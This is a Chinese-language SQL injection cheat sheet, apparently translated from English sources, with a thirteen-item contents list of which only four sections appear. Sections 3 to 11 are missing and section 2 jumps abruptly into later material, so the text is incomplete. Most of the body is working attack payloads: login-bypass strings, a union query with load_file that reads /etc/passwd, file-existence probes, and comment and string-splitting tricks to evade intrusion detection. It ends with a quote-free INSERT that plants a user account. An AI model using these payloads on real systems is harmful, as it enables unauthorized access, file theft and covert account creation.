SQL注射技术总结文档

写在前面：

　　最近看了不少老外写的东西，看时间相同的技术当铺比我们早了好长一段时间，比如ASP的SQL注射国外02年就出现了，PHP的也在04年出现，而我们一直到05年才接触到，看看比人家晚了多少时间呀！
为了尽快了解最新的技术动态，我坚持看E文资料，有的很长，有的很短，本人时间有限，不可能一一翻译过来，只能挑选自己认为比较适合大家看的东西翻译过来，希望你能从中学到东西。

PS：本人英语水平有限，很多都是按照我的理解做的模糊翻译，若有不当，敬请指正，谢谢！

====||目录||=====
--------------------
1、简介
2、漏洞测试
3、收集信息
4、数据类型
5、抓取密码
6、创建数据库帐号
7、MYSQL利用
8、服务名和配置
9、在注册表中找VNC密码
10、刺穿IDS认证
11、在MYSQL中使用char()欺骗
12、用注释躲避IDS认证
13、构造无引号的字符串

====||文章开始||====

1、简介

当你看到一个服务器只开了80端口，这在一定程度上说明管理员把系统的补丁做的很好，我们所要做最有效的攻击则也应该转向WEB攻击。SQL注射是最常用的攻击方式。你攻击WEN系统（ASP，PHP，JSP，CGI等）比去攻击系统或者其他的系统服务要简单的多。
SQL注射是通过页面中的输入来欺骗使得其可以运行我们构造的查询或者别的命令，我们知道在WEB上面有很多供我们输入参数的地方，比如用户名、密码或者E_mail。

2、漏洞测试

最开始我们应该从最简单的来试：

- Login:' or 1=1--
- Pass:' or 1=1--
- --> ' or username like char(37);
带引号的注射，例如： (string="root"):
--> ' union select * from users where login = char(114,111,111,116);
在 unions中使用load files 函数，例如：(string = "/etc/passwd"):
-->' union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
检查文件是否存在，例如： (string = "n.ext"):
-->' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

12、利用注释符号避开IDS

举例如下：

-->'/**/OR/**/1/**/=/**/1
-->Username:' or 1/*
-->Password:*/=1--
-->UNI/**/ON SEL/**/ECT （！！！这个比较罕见，应该大有作为！！！）
-->(Oracle) '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
-->(MS SQL) '; EXEC ('SEL' + 'ECT US' + 'ER')

13、不带引号的字符串

用char()或者0X来构造不含引号的语句。。
--> INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), 0x64)

======================================================================